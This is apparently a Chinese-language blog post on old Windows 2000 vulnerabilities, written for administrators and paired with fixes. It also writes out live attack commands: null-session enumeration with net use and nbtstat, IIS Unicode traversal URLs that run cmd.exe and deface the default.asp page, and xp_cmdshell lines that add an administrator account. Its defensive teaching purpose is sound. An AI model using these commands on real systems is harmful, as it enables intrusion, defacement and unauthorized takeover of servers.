Windows2000漏洞集錦

   對於Windows  2000的強大的功能和全新的構架我們都不得不歎服微軟的實力,可以預見Windows  2000將成爲新一代服務器操作系統的主流,同時也成爲******的對象。但是由於新的Windows2000的全新構架很大程度都依賴於Active  Directory(又稱之爲AD),這使得許許多多的管理員在忙於適應新的操作系統,和對原來的資料進行系統的遷移,而對Windows  2000的安全性問題還沒有引起足夠重視。  
  本文詳細介紹***在***Windows  2000系統時經常利用的一些漏洞和具體步驟以及應對策略,讓網絡系統管理員在維護系統時儘量做到有的放矢。有一句話非常有道理:“世界上沒有絕對愚蠢的系統,只有絕對愚蠢的管理員。”只要我們的網絡管理員能夠細心地維護系統,相信***們是沒有可乘之機的。  
登陸輸入法漏洞  
  這裏我們首先介紹一個登錄錯誤,也就是常說的輸入法漏洞。當我們啓動Windows2000進行到登錄驗證的提示界面時,任何用戶都可以打開各種輸入法的幫助欄,並且可以利用其中具有的一些功能訪問文件系統,這也就是說我們可以繞過了Windows2000的用戶登錄驗證機制,並且能以最高管理員權限訪問整個系統。所以說這個漏洞的危害性是很大的,而且當我們進入系統後,還可以利用Terminal  Server遠程通信這個漏洞對系統進行***。默認的Windows2000系統自帶的輸入法中有這個漏洞的是:智能ABC,微軟拼音,內碼,全拼,雙拼,鄭碼。所以就我感覺而言這個漏洞是首要修補的漏洞。  
1、把不需要的輸入法刪除掉,例如鄭碼等。  
2、但是畢竟我們不能把所有的自帶輸入法都刪除,如果我們要使用有漏洞的輸入法也可以把那個輸入法的幫助文件刪除掉。這些幫助文件通常在win2000的安裝目錄下(如:C:\WINNT)的\help目錄下,對應的幫助文件是:  
※  WINIME.CHM  輸入法操作指南  
※  WINSP.CHM  雙拼輸入法幫助  
※  WINZM.CHM  鄭碼輸入法幫助  
※  WINPY.CHM  全拼輸入法幫助  
※  WINGB.CHM  內碼輸入法幫助  
3、微軟公司對於此問題發佈了MS00-069安全公告,並在互聯網上給出了簡體中文Windows2000和英文版Windows2000的補丁。所以請儘快打上補丁。  
NetBIOS的信息泄漏  
    接下來我們談一下NetBIOS的共享***.這個問題從NT剛發行到現在就從來沒有解決。而且它一直由來都是NT系統構架最常見的***手段。特別值得一提的就是那個IPC\$Null  session(空會話)在NT系統裏都是已知的安全隱患。雖然打了SP3後可以通過修改註冊表來對其進行限制。但不知道爲什麼Windows2000還是原封不動地保留着這個空對話。那麼就讓我們來看看空會話能給***者帶來什麼樣的信息:  
net  use  \\server\IPC\$  ""  /user:""  //此命令用來建立一個空會話  
net  view  \\server  //此命令用來查看遠程服務器的共享資源  
服務器名稱      註釋  
-------------------------------------------------------  
\\pc1  
\\pc2  
命令成功完成。  
net  time  \\server  //此命令用來得到一個遠程服務器的當前時間。  

nbtstat  -A  server  //此命令用來得到遠程服務器的NetBIOS用戶名字表  
NetBIOS  Remote  Machine  Name  Table  
Name  Type  Status  
---------------------------------------------  
NULL  <00>  UNIQUE  Registered  
NULL  <20>  UNIQUE  Registered  
INTERNET  <00>  GROUP  Registered  
XIXI  <03>  UNIQUE  Registered  
INet~Services  <1C>  GROUP  Registered  
IS~NULL......  <00>  UNIQUE  Registered  
INTERNET  <1E>  GROUP  Registered  
ADMINISTATOR  <03>  UNIQUE  Registered  
INTERNET  <1D>  UNIQUE  Registered  
..__MSBROWSE__.<01>  GROUP  Registered  
MAC  Address  =  00-54-4F-34-D8-80  
  看看,只不過用了幾個系統自帶的命令就得到了如此多的信息,那麼我們有什麼辦法可以不讓別人輕易得到這麼多信息哪?  
  僅靠單純的修改註冊表是一勞永逸的。  
HKEY-LOCAL_MACHINE\SYSTEM\CurrentControSet\Control\LSA  
Value  Name:  RestrictAnonymous  
Data  Type:  REG_DWORD  
Value:  1  
  但如果一些服務你並不需要開放共享的話。那爲什麼不禁止它呢?在Windows2000裏的方法和NT4的略有不同。它沒有限制TCP/IP綁定在NetBISO上,但是我們可以在Internet協議(TCP/IP)屬性的設置面板裏選取高級(V)選項,然後選擇TCP/IP  篩選,接着點選啓用TCP/IP篩選,最後在TCP端口點選只允許,然後就可以添加你所想開放的服務的端口了。  
奇怪的系統崩潰特性  
  此外Windows  2000有一個比較奇怪的特性,使用系統的終端用戶可以通過按住右Ctrl,同時Press兩次Scrool  Lock按鍵,就輕易可以讓整個Windows2000系統完全的崩潰。但同時又在C:\WinNT\下dump完整的當前系統內存記錄,內存記錄文件名是memory.dmp。當然,這個奇怪的特性默認狀態下是關閉的,但是我們可以通過修改註冊表的方法把它激活:  
1、運行regedt32.exe  (Windows2000的32位註冊表編輯器)  
2、選擇主鍵:  
   HKEY_LOCAL_MACHINE\  
   然後找到SYSTEM\下的CurrentControlSet\  
   選擇Services\  
   進入i8042prt\中的Parameters  
3、新建一個雙字節值  
4、將鍵名爲CrashOnCtrlScroll  
5、然後在設置一個不爲零的值。  
6、退出重啓  
  當這一切做完後,你就可以嘗試讓系統崩潰了,按下按鍵後的效果爲黑屏,將會出現以下信息:  
***  STOP:  0x000000E2  (0x00000000,0x00000000,0x00000000,0x00000000)  
The  end-user  manually  generated  the  crashdump.  
  值得注意的是,這個奇怪的特性在WindowsNT4中也存在,不知道是不是微軟程序員作測試的一個小功能。不過要是有***或者病毒利用它,也是很危險的。  
Telnet的拒絕服務***  
  Windows中的Telnet一直以來都是網絡管理員們最喜愛的網絡實用工具之一,但是一個新的漏洞表明,在Windows2000中Telnet在守護其進程時,在已經被初始化的會話還未被複位的情況下很容易受到一種普通的拒絕服務***。而在2000年的2月份,拒絕服務***幾乎成爲了所有大型網站的惡夢。  
  Telnet連接後,在初始化的對話還未被複位的情況下,在一定的時間間隔之後,此時如果連接用戶還沒有提供登錄的用戶名及密碼,Telnet的對話將會超時。直到用戶輸入一個字符之後連接纔會被複位。如果惡意用戶連接到Windows2000的Telnet守護進程中,並且對該連接不進行復位的話,他就可以有效地拒絕其他的任何用戶連接該Telnet服務器,主要是因爲此時Telnet的客戶連接數的最大值是1。在此期間任何其他試圖連接該Telnet服務器的用戶都將會收到如下錯誤信息:  
Microsoft  Windows  Workstation  allows  only  1  Telnet  Client  LicenseServer  has  closed  connection  
  察看“列出當前用戶”選項時並不會顯示超時的會話,因爲該會話還沒有成功地通過認證。  
IIS服務泄漏文件內容  
  這是一個NSFOCUS安全小組發現的漏洞。當微軟IIS  4.0/5.0(遠東地區版本)在處理包含有不完整的雙字節編碼字符的HTTP命令請求時,會導致WEB目錄下的文件內容被泄漏給遠程***者。  
  Microsoft  IIS遠東地區版本包括中文(簡體/繁體),日文,韓文版,由於特定的文字格式使它們都是使用的雙字節編碼格式。而當IIS接收到用戶提交的一個HTTP請求時,如果文件名中包含非ASCII字符,IIS會檢查這個字符是否爲雙字節編碼中的前導字符(例如,日文的前導字符包含兩段字符:0x81-0x9F,  0xE0-0xFC)。如果是前導字符,它會繼續檢查下一個字符是否爲結尾字符。如果沒有下一個字符,IIS會簡單地丟棄這個前導字符,因爲它並沒有構成一個完整的雙字節編碼。然而,這種處理將導致IIS打開不同的文件而不是用戶在請求中指定的文件。  
  ***者通過提交一個特殊格式的URL,  可以使IIS使用某個ISAPI動態鏈接庫打開某種它所不能解釋的類型的文件,並獲得該文件的內容。依賴於系統安裝的ISAPI應用程序的類型,***者可能獲得WEB根目錄或者虛擬目錄下的文件內容,這些文件可以是普通文本文件(.asp,  .ini,  .asa等等),也可以是二進制文件(.exe等等)。  
  ***們會使用Unicode的方法利用這個漏洞:  
  Unicode(統一的字符編碼標準,  採用雙字節對字符進行編碼)可以說是近一段時期以來最爲流行的******手段,僅國內近期就有江民公司等幾個大的網站被這種***手段***。那我們就來談一下這個很容易的利用Unicode漏洞配合IIS的漏洞進行***吧。  
  上面我們提到過由於某些雙字節的Windows2000在處理某些特殊字符時與英文版本不同,然而利用這種IIS的漏洞,***者就可以通過這些特殊字符繞過IIS的目錄審計遠程執行任意命令。  
[url]http://server/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:[/url]\  
  ***們其實只要下面兩句很簡單的指令繞過IIS的審計就能夠對網站的頁面進行改寫,所謂的黑了一個網站就是這麼的簡單。  
[url]http://server/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:[/url]\winnt\system32\cmd.exe+d:\inetpub\scripts\123.exe  
[url]http://server/scripts/123.exe?/c+echo+[/url]黑掉啦?+>+c:\inetpub\wwwroot\default.asp  
  這個問題已經在IIS  4.0  +  SP6中得到解決,然而微軟卻讓它在IIS  5.0中再度出現。  
  但該漏洞不會影響包括英語版在內的其他語言版本的IIS  4.0/5.0。  
MS  SQL  Server的SA空密碼***  
  在Windows2000中,企業級的用戶一般都會用到另一個微軟的產品,這個產品就是數據庫管理軟件  MS  SQL  Server,但是在與MS  SQL  Server配合使用中,我們發現了很多的問題。最後我們就簡單講一下安裝了MS  SQL  Server的Windows2000的網絡操作系統普遍面臨的安全問題。  
  在安裝MS  SQL  Server後,MS  SQL  Server會將產生一個默認的SA用戶,而且初始密碼在管理員沒有設置的情況下爲空。但是SA是SQL  Server中非常重要的安全模塊成員,這樣一來***們就可以通過SQL  Server的客戶端進行數據庫遠程連接,然後再通過SQL的遠程數據庫管理命令xp_cmdshell  stored  procedure(擴展存儲過程)來進行命令操作:  
xp_cmdshell  "net  user  id  password  /add"  
Xp_cmdshell  "net  localgroup  Administrators  id  /add"  
  就以上兩條簡單的命令***者就能在MS  SQL  Server的服務器上馬上新建一個管理員級別的Administrators組的用戶。所以我們這裏提醒各位網管大人,在安裝好SQL  Server您需要做的第一件事就是把SA的空密碼立即進行修改。這個問題就不要我告訴你應該在哪裏改了吧?  
  而且在一般情況下,一些功能對管理員來說也是沒有必要的。如果你不需要MS  SQL  Server  的xp_cmdshell(use  sp_dropextendedproc  "xp_cmdshell")這項功能就不要把xp_cmdshell  extended  stored  proc(擴展存儲過程)命令功能留着。  
  我們只需要在isql窗口中輸入:  
use  master  
sp_dropextendedproc  “xp_cmdshell“  
  然後打上Service  Pack  3,這裏提醒管理員們一下,一定要經常留意微軟的補丁包文件,並且注意及時的把系統和軟件更新到最新的補丁。   
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章